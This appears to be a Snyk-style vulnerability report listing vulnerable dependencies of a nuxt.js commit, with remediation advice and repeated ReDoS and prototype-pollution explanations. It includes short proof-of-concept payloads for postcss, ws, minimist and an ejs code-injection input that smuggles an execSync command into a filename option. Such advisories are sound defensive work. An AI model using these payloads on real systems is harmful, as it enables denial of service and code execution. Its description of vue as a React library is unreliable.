Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL()
and loadAnnotation()
in lib/previous-map.js
. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*)
.
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
postcss.parse(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade postcss
to version 8.2.13, 7.0.36 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: html-minifier@3.5.21, html-webpack-plugin@2.30.1 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-minifier@3.5.21 › uglify-js@3.4.10Remediation: Upgrade to html-minifier@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › html-minifier@3.5.21 › uglify-js@3.4.10Remediation: Upgrade to html-webpack-plugin@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › uglify-js@2.8.29Remediation: Upgrade to webpack@3.0.0.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template
and the decode_template
functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js
to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1 › ws@4.1.0Remediation: Upgrade to webpack-bundle-analyzer@3.0.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol
header can be used to significantly slow down a ws
server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws
to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@4.9.1 and webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › ejs@2.7.4
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4Remediation: Upgrade to webpack-bundle-analyzer@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: braces
- Introduced through: chokidar@1.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to chokidar@2.0.0.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}
) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces
to version 2.3.1 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: url-loader@0.5.9
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › url-loader@0.5.9 › mime@1.3.6Remediation: Upgrade to url-loader@0.6.0.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime
to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: opencollective@1.0.3
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › minimist@1.2.0
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: vue
- Introduced through: vue@2.3.4
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue@2.3.4Remediation: Upgrade to vue@2.5.14.
Overview
vue
is a React UI component library that uses inline styles to avoid CSS dependencies and prevent leaky global styles from affecting an application.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 70k characters long.
Disclosure Timeline
- Feb 19th, 2018 - Initial Disclosure to package owner
- Feb 19th, 2018 - Initial Response from package owner
- Feb 21th, 2018 - Fix issued
- Feb 22th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Update vue
to version 2.5.14 or higher.